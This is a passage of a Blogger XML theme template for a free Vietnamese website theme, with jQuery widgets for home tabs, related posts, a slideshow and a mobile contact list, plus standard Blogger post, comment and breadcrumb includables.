c+='<div class="col-8 '+this.class+'-content hidden-xs">'+this.content+'</div>';
c+='<div class="col-8 '+this.class+'-content visible-xs">'+this.content.substr(0,250)+'</div>';
if(this.div!='')c=$.div($.div(c,{div:this.div,class:this.class+'-child'}),{div:this.div,class:this.class});
return c}
this.homeTab=function(){
var c='';
if(this.index!=0)c+='<a class="col-12 '+this.class+'-a" href="'+this.url+'"><h5 class="col-12 '+this.class+'-post-title post-title">'+this.title+'</h5></a>';
c+='<a href="'+this.url+'" class="';c+=this.index!=0?'col-4':'col-12';c+='"><img class="'+this.class+'-post-thumb post-thumb" src="'+this.src+'"/></a>';
if(this.index==0)c+='<a class="col-12 '+this.class+'-a" href="'+this.url+'"><h5 class="col-12 '+this.class+'-post-title post-title">'+this.title+'</h5></a>';
c+='<div class="hidden-xs ';c+=this.index!=0?'col-8':'col-12';c+=' '+this.class+'-content ">';c+=this.index!=0?this.content.substr(0,100):this.content.substr(0,400);c+='</div>';
c+='<div class="visible-xs ';c+=this.index!=0?'col-8':'col-12';c+=' '+this.class+'-content ">';c+=this.index!=0?this.content.substr(0,200):this.content.substr(0,300);c+='</div>';
if(this.div!='')c=$.div($.div(c,{div:this.div,class:'col-12'}),{div:this.div,class:'homeTab homeTab-xs col-sm-6 col-xs-12'});
return c}
return this;}
jQuery.Jdefault=function(root){
var c='';var entries = root.feed.entry || [];
for(i in entries){
c+=new item(entries[i]).Jset({div:'div',class:'postmulti'}).relater();
}
c=$.div('<h3 class="relater-title">Bài viết liên quan</h3>'+c,{div:$.Jdiv,class:$.JidDiv+' col-12'});
return c}
jQuery.JhomeTab=function(root){
var c='';var entries = root.feed.entry || [];
for(i in entries){
if(i!=0){
c+=new item(entries[i]).Jset({index:1,div:'div',class:'col-sm-6 col-xs-12 homeTab-'+i}).homeTab();}else{
c+=new item(entries[i]).Jset({index:0,div:'div',class:'col-sm-6 col-xs-12 homeTab-first homeTab-'+i}).homeTab();
}
}
c=$.div('<h3 class="hometab-title">'+$.JtitleWidget+'</h3>'+c,{div:$.Jdiv,class:$.JidDiv+' col-12'});
return c}
jQuery.JhomeSlide=function(root){
var c='';var entries = root.feed.entry || [];
for(i in entries){
var e=new item(entries[i]);
c+='<div class="item ';
c+=i!=0?'':'active';
c+='"><a href="'+e.url+'"><img class="slide-img col-12" src="'+e.src+'"></a></div>';
}
return '<div class="carousel slide col-md-12 col-xs-12" data-ride="carousel" id="slide" ><div class="carousel-inner xs-hide" role="listbox">'+c+'</div></div>'+$.Jslide.set}
jQuery.Jrelater=function(){
var c='';var entries = root.feed.entry || [];
return c}
jQuery.fn.JactiveHomeTab=function(e){
if(e!=undefined && e!=''){
var e1=e.split(',');
for(i in e1){
var e2=e1[i].split(':');var label=e2[0].trim();if(e2[1]!=undefined){var title=e2[1].trim()}else{var title=e2[0].trim();} $(this).Json({JtypeJson:'true',Jend:5,JtypeHtml:'append',Jlabel:label,JtypeWidget:'JhomeTab',JtitleWidget:title});
}
}
return jQuery}
jQuery.fn.JactiveSlide=function(e){
if($.Jslide.content!=''){$(this).html($.Jslide.content);}else{
$(this).Json({JtypeJson:'true',Jend:5,JtypeHtml:'html',Jlabel:'Slide',JtypeWidget:'JhomeSlide'});
}
return jQuery}
jQuery.fn.Jmobile=function(){
var e=new $(this).find(' .LinkList:first-child').JlinkList();
if(e.title=='mobile'){
var c='<ul class="col-md-12 col-xs-12" style="list-style:none;">';
for(i in e.arr){
c+='<li class="col-md-12 col-xs-12" style="list-style: none; font-size: 16px; padding: 10px; border-bottom: 1px inset rgb(77, 144, 254);"><span class="col-md-12 col-xs-12" style="color:#337ab7;"><i class="fa fa-map-marker" style="font-size:30px;color: #357cc5;margin-right: 15px;"></i>'+e.arr[i].a+'</span><span class="col-md-12 col-xs-12" style="color:red;font-size: 18px;"> <span></span><i class="fa fa-mobile" style="font-size:30px;margin-right: 15px;"></i><loc class="hungyen">'+e.arr[i].b+'</loc></span></li>';
}
c+=e.set+'</ul>';
$(this).find(' .LinkList:first-child').Jchoice(c,'html')(this).css('padding-top', '0px');
}
return jQuery}
!function(e){
e.e('eyldgaoeorg.j)Qtuneermyu(cdo')(function(){
$('#Navbar').find('.LinkList').JinfoNavbar().Jchoice()('#Navbar').Jchoice($.Jnavbar.Default())('#headLogo').find('.Image').JinfoLogo().Jchoice()('#headSlogan').find('.Image').JinfoSlogan().Jchoice()('#Navbar').Jchoice($.Jhead.Default(),'before')('#foot .LinkList:first-child').JinfoMenuFoot().Jchoice('','remove')('#foot').JinfoLinkListFoot().Jchoice("",'remove')('#all-body').Jchoice($.div($.Jfoot.menu()+$.Jfoot.content,{div:'div',id:'foot',class:'col-12'}),'append')('#right').Jmobile().JsetIcon()('#main').JactiveHomeTab($.JhomeTabLabel);
})
return e}(this)
!function(e,a){e(a).ready(function(){var a=e(".section");a.each(function(a,b){var c="";c+="<div class=\"widget-item-control section-widget-item-control\" style=\"z-index:9999999999; margin-left: 25px; width: 20px; overflow: hidden;\"><div class=\"set item-control blog-admin\" style=\" z-index: 9999999999;\"><div class=\"\">",c+="<a data-toggle=\"tooltip\" title=\"section "+e(b).attr("id")+"\" style=\"color: red;\" href=\"https://www.blogger.com/choose-gadget?blogID=",e.JblogId&&(c+=e.JblogId),c+="&action=chooseWidget§ionId="+e(b).attr("id")+"&widgetType=nullid\" target=\"_blank\"><i class=\"fa fa-plus\"></i></a>",c+="</div></div></div>",e(b).prepend(c)})})}(jQuery,document);var Jrun=function(){$('#slide').JinfoSlide().JactiveSlide();}
//]]>
</script>
<b:skin><![CDATA[
]]></b:skin>
</head>
<body>
<b:section class='item-control blog-admin' id='system'>
<b:widget id='HTML2' locked='true' title='blue' type='HTML' version='1'>
<b:widget-settings>
<b:widget-setting name='content'><![CDATA[{blue:{colorAll:'#c8135c;:#1e63a3;',colorHead:'#337ab7;',headTitle:'#c8135c;',navbarLiHover:'#ab0d4d;:#337ab7;',breadcumb:'#4d90fe;',page:'#eee;',pageHover:'#359BED;',foot:'#e7f7fa;',postMulti:'0 1px 3px 0 rgba(0, 0, 0, 0.2), 0 5px 10px 0 rgba(0, 0, 0, 0.19);',postTitle:'#f1f1f159;',menuRight:'#d4f1f6;',homeTabXs:' #4d90fe45;'}}]]></b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<!-- only display title if it's non-empty -->
<b:if cond='data:title != ""'>
<h2 class='title' style='position: fixed; top: 0px; left: 0px;'><data:title/></h2>
</b:if>
<div class='widget-content'>
<script>
jQuery.setCss=function(e,v){
var c=$('#style').html();var reg;
if(v){
for(j in e){
if(j==v){var o=e[j]
for(i in o){
var arr=o[i].split(':');
if(arr[1]){var b=arr[1]}else{var b='';}
if(b!=''){
reg=new RegExp(arr[0],'g');c=c.replace(reg,b);
}
}
break;}
}
$('#style').html(c);
}
}
$.setCss(<data:content/>,'<data:title/>');
</script>
</div>
<b:include name='quickedit'/>
</b:includable>
</b:widget>
</b:section>
<div id='all'>
<div class='container-fluid'>
<div class='row' id='all-body'>
<b:section class='hide' id='headLogo'>
<b:widget id='Image1' locked='true' title='0961224956' type='Image'>
<b:widget-settings>
<b:widget-setting name='displayUrl'>https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrHpmJPjZo8mH-Jr9IUKT12eR9x_WhRbqX0kTHs_Zx1WOrgY3DnqTSrqmUAA03VKdyih-BgNzw69mrSK82_ZxDeU1AwDLKdFqz8W3-ybt8mRM_DaoBZ9qZmeJXTMT2FiWJS46SfredL9I/s1600/LOGO+FREE.png</b:widget-setting>
<b:widget-setting name='displayHeight'>114</b:widget-setting>
<b:widget-setting name='sectionWidth'>150</b:widget-setting>
<b:widget-setting name='shrinkToFit'>false</b:widget-setting>
<b:widget-setting name='displayWidth'>190</b:widget-setting>
<b:widget-setting name='link'>Liên Hệ hỗ trợ</b:widget-setting>
<b:widget-setting name='caption'>Giao diện web miễn phí</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<b:tag cond='data:link' expr:href='data:link' name='a'>
<img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + "_img"' expr:src='data:sourceUrl' expr:width='data:width'/>
</b:tag>
<br/>
<b:if cond='data:caption'>
<span class='caption'><data:caption/></span>
</b:if>
</div>
<b:include name='quickedit'/>
</b:includable>
</b:widget>
</b:section>
<b:section class='hide' id='headSlogan'>
<b:widget id='Image11' locked='true' title='Tất cả là miễn phí' type='Image'>
<b:widget-settings>
<b:widget-setting name='displayUrl'>https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEia3pdeCLetWx9JLmWCGIju0phL21EJDNqkaBDT98Ve0TXvoAypn7ci92ePaK64DdsEAXm3jNtYVw0e0vB9-KXzfXmY1yak5DHg4Ndqy1vxqtK2nskYYBIRhjfDwgNqNMU4eS734wYj4dY/s1600/lg_logo_PNG15.png</b:widget-setting>
<b:widget-setting name='displayHeight'>812</b:widget-setting>
<b:widget-setting name='sectionWidth'>150</b:widget-setting>
<b:widget-setting name='shrinkToFit'>false</b:widget-setting>
<b:widget-setting name='displayWidth'>1343</b:widget-setting>
<b:widget-setting name='link'/>
<b:widget-setting name='caption'>Dễ dàng quản trị</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:if cond='data:title != ""'>
<h2><data:title/></h2>
</b:if>
<div class='widget-content'>
<b:tag cond='data:link' expr:href='data:link' name='a'>
<img expr:alt='data:title' expr:height='data:height' expr:id='data:widget.instanceId + "_img"' expr:src='data:sourceUrl' expr:width='data:width'/>
</b:tag>
<br/>
<b:if cond='data:caption'>
<span class='caption'><data:caption/></span>
</b:if>
</div>
<b:include name='quickedit'/>
</b:includable>
</b:widget>
</b:section>
<b:section class='col-12' id='Navbar'>
<b:widget id='LinkList2' locked='true' title='navbar' type='LinkList' version='2' visible='true'>
<b:widget-settings>
<b:widget-setting name='link-3'>http://</b:widget-setting>
<b:widget-setting name='sorting'>NONE</b:widget-setting>
<b:widget-setting name='link-4'>/</b:widget-setting>
<b:widget-setting name='text-1'>Giao diện web công ty</b:widget-setting>
<b:widget-setting name='link-1'>/</b:widget-setting>
<b:widget-setting name='text-0'>Trang chủ</b:widget-setting>
<b:widget-setting name='link-2'>/</b:widget-setting>
<b:widget-setting name='text-3'>Giao diện web cá nhân</b:widget-setting>
<b:widget-setting name='link-0'>/</b:widget-setting>
<b:widget-setting name='text-2'>Giao diện web trường học</b:widget-setting>
<b:widget-setting name='text-4'>Liên Hệ</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:include name='content'/>
<b:include name='quickedit'/>
</b:includable>
<b:includable id='content'>
<div class='widget-content'>
<ul>
<b:loop values='data:links' var='link'>
<li><a expr:href='data:link.target'><data:link.name/></a></li>
</b:loop>
</ul>
</div>
</b:includable>
</b:widget>
</b:section>
<div class='col-sm-8 col-xs-12' id='left'>
<b:section class='col-12' id='slide'/><b:section class='' id='main' showaddelement='no'>
<b:widget cond='data:view.isHomepage ' id='HTML1' locked='true' title='activeHomeTab' type='HTML' version='1'>
<b:widget-settings>
<b:widget-setting name='content'>:Bài viết mới,Sản phẩm mới , thi công xây dựng</b:widget-setting>
</b:widget-settings>
<b:includable id='main'>
<b:include name='quickedit'/>
<b:switch var='data:title'>
<b:case value='activeHomeTab'/>
<script>$.Jset({JhomeTabLabel:'<data:content/>'})</script>
<style>#Blog1{display:none}</style>
<b:case value='activeHome'/>
<data:content/>
<style>#Blog1{display:none}</style>
<b:default/>
</b:switch>
</b:includable>
</b:widget>
<b:widget id='Blog1' locked='true' title='Bài đăng trên Blog' type='Blog' version='1'>
<b:widget-settings>
<b:widget-setting name='showDateHeader'>false</b:widget-setting>
<b:widget-setting name='style.textcolor'>#000000</b:widget-setting>
<b:widget-setting name='showShareButtons'>false</b:widget-setting>
<b:widget-setting name='authorLabel'>By</b:widget-setting>
<b:widget-setting name='showCommentLink'>false</b:widget-setting>
<b:widget-setting name='style.urlcolor'>#008000</b:widget-setting>
<b:widget-setting name='showAuthor'>false</b:widget-setting>
<b:widget-setting name='disableGooglePlusShare'>true</b:widget-setting>
<b:widget-setting name='style.linkcolor'>#0000ff</b:widget-setting>
<b:widget-setting name='style.unittype'>TextAndImage</b:widget-setting>
<b:widget-setting name='style.bgcolor'>#ffffff</b:widget-setting>
<b:widget-setting name='showAuthorProfile'>false</b:widget-setting>
<b:widget-setting name='style.layout'>1x1</b:widget-setting>
<b:widget-setting name='showLabels'>false</b:widget-setting>
<b:widget-setting name='showLocation'>false</b:widget-setting>
<b:widget-setting name='showTimestamp'>false</b:widget-setting>
<b:widget-setting name='postsPerAd'>1</b:widget-setting>
<b:widget-setting name='showBacklinks'>false</b:widget-setting>
<b:widget-setting name='style.bordercolor'>#ffffff</b:widget-setting>
<b:widget-setting name='showInlineAds'>false</b:widget-setting>
<b:widget-setting name='showReactions'>false</b:widget-setting>
</b:widget-settings>
<b:includable id='main' var='post'>
<b:include cond='not data:view.isHomepage' data='posts' name='breadcrumb'/>
<b:loop index='i' values='data:posts' var='post'>
<b:include cond='data:view.isSingleItem' data='post' name='singleItem'/>
<b:include cond='not data:view.isSingleItem' data='post' name='multiItem'/>
</b:loop>
<b:include cond='not data:view.isSingleItem ' data='posts' name='pager'/>
<b:include name='quickedit'/>
</b:includable>
<b:includable id='aboutPostAuthor'>
<div class='author-name'>
<a class='g-profile' expr:href='data:post.author.profileUrl' rel='author' title='author profile'>
<span>
<data:post.author.name/>
</span>
</a>
</div>
<div>
<span class='author-desc'>
<data:post.author.aboutMe/>
</span>
</div>
</b:includable>
<b:includable id='addComments'>
<a expr:href='data:post.commentsUrl' expr:onclick='data:post.commentsUrlOnclick'>
<b:message name='messages.postAComment'/>
</a>
</b:includable>
<b:includable id='backlinkDeleteIcon' var='backlink'>
<span expr:class='"item-control " + data:backlink.adminClass'>
<a expr:href='data:backlink.deleteUrl' expr:title='data:top.deleteBacklinkMsg'>
<img src='https://resources.blogblog.com/img/icon_delete13.gif'/>
</a>
</span>
</b:includable>
<b:includable id='backlinks' var='post'>
<a name='links'/><h4><data:post.backlinksLabel/></h4>
<b:if cond='data:post.numBacklinks != 0'>
<dl class='comments-block' id='comments-block'>
<b:loop values='data:post.backlinks' var='backlink'>
<div class='collapsed-backlink backlink-control'>
<dt class='comment-title'>
<span class='backlink-toggle-zippy'> </span>
<a expr:href='data:backlink.url' rel='nofollow'><data:backlink.title/></a>
<b:include data='backlink' name='backlinkDeleteIcon'/>
</dt>
<dd class='comment-body collapseable'>
<data:backlink.snippet/>
</dd>
<dd class='comment-footer collapseable'>
<span class='comment-author'><data:post.authorLabel/> <data:backlink.author/></span>
<span class='comment-timestamp'><data:post.timestampLabel/> <data:backlink.timestamp/></span>
</dd>
</div>
</b:loop>
</dl>
</b:if>
<p class='comment-footer'>
<a class='comment-link' expr:href='data:post.createLinkUrl' expr:id='data:widget.instanceId + "_backlinks-create-link"' target='_blank'><data:post.createLinkLabel/></a>
</p>
</b:includable>
<b:includable id='breadcrumb' var='posts'>
<b:if cond='data:blog.homepageUrl == data:blog.url'>
<!-- No breadcrumb on home page -->
<b:else/>
<b:if cond='data:blog.pageType == "item"'>
<!-- breadcrumb for the post page -->
<p class='breadcrumbs'>
<span class='post-labels'>
<a expr:href='data:blog.homepageUrl' rel='tag'>Trang chủ</a>
<b:loop values='data:posts' var='post'>
<b:if cond='data:post.labels'>
<b:loop values='data:post.labels' var='label'>
<b:if cond='data:label.name not in["Slide","Thumb-right"]'>
<b:if cond='data:label.isLast == "false"'> »
»<a expr:href='data:label.url + "?&max-results=10"' rel='tag'><data:label.name/></a>
</b:if>
<b:if cond='data:label.isLast == "true"'> »
<a expr:href='data:label.url + "?&max-results=10"' rel='tag'><data:label.name/></a>
</b:if>
</b:if>
</b:loop>
<script>
labelArray=[<b:loop index='i' values='data:post.labels' var='label'><b:if cond='data:label.isLast == "true"'><b:if cond='data:label.name not in["Slide","Thumb-right"]'>'<data:label.name/>'</b:if><b:else/><b:if cond='data:label.name not in["Slide","Thumb-right"]'>'<data:label.name/>',</b:if></b:if></b:loop> ];jQuery.JlabelRelater=labelArray[labelArray.length-1];
if($.JlabelRelater)$('#main').Json({JtypeJson:'true',JtypeWidget:'Jdefault',Jend:4,JtypeHtml:'append',Jlabel:$.JlabelRelater,JtitleWidget:'Bài viết liên quan'});
</script>
<b:else/>
</b:if>
» <span><data:post.title/></span>
</b:loop>
</span>
</p>
<b:else/>
<b:if cond='data:blog.pageType == "archive"'>
<!-- breadcrumb for the label archive page and search pages.. -->
<p class='breadcrumbs'>
<span class='post-labels'>
<a expr:href='data:blog.homepageUrl'>Trang chủ</a>
</span>
</p>
<b:else/>
<b:if cond='data:blog.pageType == "index"'>
<p class='breadcrumbs'>
<span class='post-labels'>
<b:if cond='data:blog.pageName == ""'>
<a expr:href='data:blog.homepageUrl'>Trang chủ</a> »
<b:else/>
<a expr:href='data:blog.homepageUrl'>Trang chủ</a> »
</b:if>
</span>
</p>
</b:if>
</b:if>
</b:if>
</b:if>
</b:includable>
<b:includable id='comment-form' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<b:if cond='data:mobile'>
<h4 id='comment-post-message'>
<a expr:id='data:widget.instanceId + "_comment-editor-toggle-link"' href='javascript:void(0)'><data:postCommentMsg/></a></h4>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' style='display: none' width='100%'/>
<b:else/>
<h4 id='comment-post-message'><data:postCommentMsg/></h4>
<p><data:blogCommentMessage/></p>
<data:blogTeamBlogMessage/>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
<iframe allowtransparency='true' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
</b:if>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='commentAuthorAvatar'>
<div class='avatar-image-container'>
<img class='author-avatar' expr:src='data:comment.authorAvatarSrc' height='35' width='35'/>
</div>
</b:includable>
<b:includable id='commentDeleteIcon' var='comment'>
<span expr:class='"item-control " + data:comment.adminClass'>
<b:if cond='data:showCmtPopup'>
<div class='goog-toggle-button'>
<div class='goog-inline-block comment-action-icon'/>
</div>
<b:else/>
<a class='comment-delete' expr:href='data:comment.deleteUrl' expr:title='data:messages.deleteComment'>
<img src='https://resources.blogblog.com/img/icon_delete13.gif'/>
</a>
</b:if>
</span>
</b:includable>
<b:includable id='commentForm' var='post'>
<div class='comment-form'>
<a name='comment-form'/>
<h4 id='comment-post-message'><data:messages.postAComment/></h4>
<b:if cond='data:this.messages.blogComment != ""'>
<p><data:this.messages.blogComment/></p>
</b:if>
<b:include data='post' name='commentFormIframeSrc'/>
<iframe allowtransparency='allowtransparency' class='blogger-iframe-colorize blogger-comment-from-post' expr:height='data:cmtIframeInitialHeight ?: "90px"' frameborder='0' id='comment-editor' name='comment-editor' src='' width='100%'/>
<data:post.cmtfpIframe/>
<script type='text/javascript'>
BLOG_CMT_createIframe('<data:post.appRpcRelayPath/>');
</script>
</div>
</b:includable>
<b:includable id='commentFormIframeSrc' var='post'>
<a expr:href='data:post.commentFormIframeSrc' id='comment-editor-src'/>
</b:includable>
<b:includable id='commentItem' var='comment'>
<div class='comment' expr:id='"c" + data:comment.id'>
<b:include cond='data:blog.enabledCommentProfileImages' name='commentAuthorAvatar'/>
<div class='comment-block'>
<div class='comment-author'>
<b:if cond='data:comment.authorUrl'>
<b:message name='messages.authorSaidWithLink'>
<b:param expr:value='data:comment.author' name='authorName'/>
<b:param expr:value='data:comment.authorUrl' name='authorUrl'/>
</b:message>
<b:else/>
<b:message name='messages.authorSaid'>
<b:param expr:value='data:comment.author' name='authorName'/>
</b:message>
</b:if>
</div>
<div expr:class='"comment-body" + (data:comment.isDeleted ? " deleted" : "")'>
<data:comment.body/>
</div>
<div class='comment-footer'>
<span class='comment-timestamp'>
<a expr:href='data:comment.url' title='comment permalink'>
<data:comment.timestamp/>
</a>
<b:include data='comment' name='commentDeleteIcon'/>
</span>
</div>
</div>
</div>
</b:includable>
<b:includable id='commentList' var='comments'>
<div id='comments-block'>
<b:loop values='data:comments' var='comment'>
<b:include data='comment' name='commentItem'/>
</b:loop>
</div>
</b:includable>
<b:includable id='commentPicker' var='post'>
<b:if cond='data:post.commentSource == 1'>
<b:include data='post' name='iframeComments'/>
<b:elseif cond='data:post.showThreadedComments'/>
<b:include data='post' name='threadedComments'/>
<b:else/>
<b:include data='post' name='comments'/>
</b:if>
</b:includable>
<b:includable id='comment_count_picker' var='post'>
<b:if cond='data:post.commentSource == 1'>
<span class='cmt_count_iframe_holder' expr:data-count='data:post.numComments' expr:data-onclick='data:post.addCommentOnclick' expr:data-post-url='data:post.url' expr:data-url='data:post.url.canonical.http'>
</span>
<b:else/>
<a class='comment-link' expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'>
<data:post.commentLabelFull/>:
</a>
</b:if>
</b:includable>
<b:includable id='comment_picker' var='post'>
<b:if cond='data:post.commentSource == 1'>
<b:include data='post' name='iframe_comments'/>
<b:elseif cond='data:post.showThreadedComments'/>
<b:include data='post' name='threaded_comments'/>
<b:else/>
<b:include data='post' name='comments'/>
</b:if>
</b:includable>
<b:includable id='comments' var='post'>
<section expr:class='"comments" + (data:post.embedCommentForm ? " embed" : "")' expr:data-num-comments='data:post.numberOfComments' id='comments'>
<a name='comments'/>
<b:if cond='data:post.allowComments'>
<b:include name='commentsTitle'/>
<div expr:id='data:widget.instanceId + "_comments-block-wrapper"'>
<b:include cond='data:post.comments' data='post.comments' name='commentList'/>
</div>
<b:if cond='data:post.commentPagingRequired'>
<div class='paging-control-container'>
<b:if cond='data:post.hasOlderLinks'>
<a expr:class='data:post.oldLinkClass' expr:href='data:post.oldestLinkUrl'>
<data:messages.oldest/>
</a>
<a expr:class='data:post.oldLinkClass' expr:href='data:post.olderLinkUrl'>
<data:messages.older/>
</a>
</b:if>
<span class='comment-range-text'>
<data:post.commentRangeText/>
</span>
<b:if cond='data:post.hasNewerLinks'>
<a expr:class='data:post.newLinkClass' expr:href='data:post.newerLinkUrl'>
<data:messages.newer/>
</a>
<a expr:class='data:post.newLinkClass' expr:href='data:post.newestLinkUrl'>
<data:messages.newest/>
</a>
</b:if>
</div>
</b:if>
<div class='footer'>
<b:if cond='data:post.embedCommentForm'>
<b:if cond='data:post.allowNewComments'>
<b:include data='post' name='commentForm'/>
<b:else/>
<data:post.noNewCommentsText/>
</b:if>
<b:else/>
<b:if cond='data:post.allowComments'>
<b:include data='post' name='addComments'/>
</b:if>
</b:if>
</div>
</b:if>
<b:if cond='data:showCmtPopup'>
<div id='comment-popup'>
<iframe allowtransparency='allowtransparency' frameborder='0' id='comment-actions' name='comment-actions' scrolling='no'>
</iframe>
</div>
</b:if>
</section>
</b:includable>
<b:includable id='commentsTitle'>
<h3 class='title'><data:messages.comments/></h3>
</b:includable>
<b:includable id='feedLinks'>
<b:if cond='!data:view.isPost'> <!-- Blog feed links -->
<b:if cond='data:feedLinks'>
<div class='blog-feeds'>
<b:include data='feedLinks' name='feedLinksBody'/>
</div>
</b:if>
<b:else/> <!--Post feed links -->
<div class='post-feeds'>
<b:loop values='data:posts' var='post'>
<b:if cond='data:post.allowComments and data:post.feedLinks'>
<b:include data='post.feedLinks' name='feedLinksBody'/>
</b:if>
</b:loop>
</div>
</b:if>
</b:includable>
<b:includable id='feedLinksBody' var='links'>
<div class='feed-links'>
<data:messages.subscribeTo/>
<b:loop values='data:links' var='f'>
<a class='feed-link' expr:href='data:f.url' expr:type='data:f.mimeType' target='_blank'><data:f.name/> (<data:f.feedType/>)</a>
</b:loop>
</div>
</b:includable>
<b:includable id='homePageLink'>
<a class='home-link' expr:href='data:blog.homepageUrl'>
<data:messages.home/>
</a>
</b:includable>
<b:includable id='iframeComments' var='post'>
<b:if cond='data:post.allowIframeComments'>
<script expr:src='data:post.iframeCommentSrc' type='text/javascript'/>
<div class='cmt_iframe_holder' expr:data-href='data:post.url.canonical' expr:data-viewtype='data:post.viewType'/>
<b:if cond='!data:post.embedCommentForm'>
<b:include data='post' name='commentsLink'/>
</b:if>
</b:if>
</b:includable>
<b:includable id='iframe_comments' var='post'>
<b:if cond='data:post.allowIframeComments'>
<script expr:src='data:post.iframeCommentSrc' type='text/javascript'/>
<div class='cmt_iframe_holder' expr:data-href='data:post.url.canonical' expr:data-viewtype='data:post.viewType'/>
<b:if cond='data:post.embedCommentForm == "false"'>
<a expr:href='data:post.addCommentUrl' expr:onclick='data:post.addCommentOnclick'><data:postCommentMsg/></a>
</b:if>
</b:if>
</b:includable>
<b:includable id='inlineAd' var='post'>
<b:if cond='!data:view.isPreview'>
<b:if cond='data:this.adCode or data:this.adClientId or data:blog.adsenseClientId'>
<!-- Ad -->
<div class='inline-ad'>
<b:if cond='data:this.adCode != ""'>
<data:this.adCode/>
<b:else/>
<b:include cond='data:this.adClientId or data:blog.adsenseClientId' name='defaultAdUnit'/>
</b:if>
</div>
</b:if>
<b:else/>
<div class='inline-ad'>
<div class='inline-ad-placeholder'>
<span><b:message name='messages.adsGoHere'/></span>
</div>
</div>
</b:if>
</b:includable>
<b:includable id='mobile-index-post' var='post'>
<div class='mobile-date-outer date-outer'>
<b:if cond='data:post.dateHeader'>
<div class='date-header'>
<span><data:post.dateHeader/></span>
</div>
</b:if>
<div class='mobile-post-outer'>
<a expr:href='data:post.url'>
<h3 class='mobile-index-title entry-title' itemprop='name'>
<data:post.title/>
</h3>
<div class='mobile-index-arrow'>&rsaquo;</div>
<div class='mobile-index-contents'>
<b:if cond='data:post.thumbnailUrl'>
<div class='mobile-index-thumbnail'>
<div class='Image'>
<img expr:src='data:post.thumbnailUrl'/>
</div>
</div>
</b:if>
<div class='post-body'>
<b:if cond='data:post.snippet'><data:post.snippet/></b:if>
</div>
</div>
<div style='clear: both;'/>
</a>
<div class='mobile-index-comment'>
<b:include cond='data:blog.pageType != "static_page" and data:post.allowComments and data:post.numComments != 0' data='post' name='comment_count_picker'/>
</div>
</div>
</div>
</b:includable>
<b:includable id='mobile-main' var='top'>
<!-- posts -->
<div class='blog-posts hfeed'>
<b:include data='top' name='status-message'/>
<b:if cond='data:blog.pageType == "index"'>
<b:loop values='data:posts' var='post'>
<b:include data='post' name='mobile-index-post'/>
</b:loop>
<b:else/>
<b:loop values='data:posts' var='post'>
<b:include data='post' name='mobile-post'/>
</b:loop>
</b:if>
</div>
<b:include name='mobile-nextprev'/>
</b:includable>
<b:includable id='mobile-nextprev'>
<div class='blog-pager' id='blog-pager'>
<b:if cond='data:newerPageUrl'>
<div class='mobile-link-button' id='blog-pager-newer-link'>
<a class='blog-pager-newer-link' expr:href='data:newerPageUrl' expr:id='data:widget.instanceId + "_blog-pager-newer-link"' expr:title='data:newerPageTitle'>&lsaquo;</a>
</div>
</b:if>
<b:if cond='data:olderPageUrl'>
<div class='mobile-link-button' id='blog-pager-older-link'>
<a class='blog-pager-older-link' expr:href='data:olderPageUrl' expr:id='data:widget.instanceId + "_blog-pager-older-link"' expr:title='data:olderPageTitle'>&rsaquo;</a>
</div>
</b:if>
<div class='mobile-link-button' id='blog-pager-home-link'>
<a class='home-link' expr:href='data:blog.homepageUrl'><data:homeMsg/></a>
</div>
<div class='mobile-desktop-link'>
<a class='home-link' expr:href='data:desktopLinkUrl'><data:desktopLinkMsg/></a>
</div>
</div>
<div class='clear'/>
</b:includable>
<b:includable id='mobile-post' var='post'>
<div class='date-outer'>
<b:if cond='data:post.dateHeader'>
<h2 class='date-header'><span><data:post.dateHeader/></span></h2>
</b:if>
<div class='date-posts'>
<div class='post-outer'>
<div class='post hentry uncustomized-post-template' itemscope='itemscope' itemtype='http://schema.org/BlogPosting'>
<b:if cond='data:post.thumbnailUrl'>
<meta expr:content='data:post.thumbnailUrl' itemprop='image_url'/>
</b:if>
<meta expr:content='data:blog.blogId' itemprop='blogId'/>
<meta expr:content='data:post.id' itemprop='postId'/>
<a expr:name='data:post.id'/>
<b:if cond='data:post.title'>
<h3 class='post-title entry-title' itemprop='name'>
<b:if cond='data:post.link'>
<a expr:href='data:post.link'><data:post.title/></a>
<b:elseif cond='data:post.url and data:blog.url != data:post.url'/>
<a expr:href='data:post.url'><data:post.title/></a>
<b:else/>
<data:post.title/>
</b:if>
</h3>
</b:if>
<div class='post-header'>
<div class='post-header-line-1'/>
</div>
<div class='post-body entry-content' expr:id='"post-body-" + data:post.id' itemprop='articleBody'>
<data:post.body/>
<div style='clear: both;'/> <!-- clear for photos floats -->
</div>
<div class='post-footer'>
<div class='post-footer-line post-footer-line-1'>
<span class='post-author vcard'>
<b:if cond='data:top.showAuthor'>
<b:if cond='data:post.authorProfileUrl'>
<span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
<meta expr:content='data:post.authorProfileUrl' itemprop='url'/>
<a expr:href='data:post.authorProfileUrl' rel='author' title='author profile'>
<span itemprop='name'><data:post.author/></span>
</a>
</span>
<b:else/>
<span class='fn' itemprop='author' itemscope='itemscope' itemtype='http://schema.org/Person'>
<span itemprop='name'><data:post.author/></span>
</span>
</b:if>
</b:if>
</span>
<span class='post-timestamp'>
<b:if cond='data:top.showTimestamp'>
<data:top.timestampLabel/>
<b:if cond='data:post.url'>
<meta expr:content='data:post.url.canonical' itemprop='url'/>
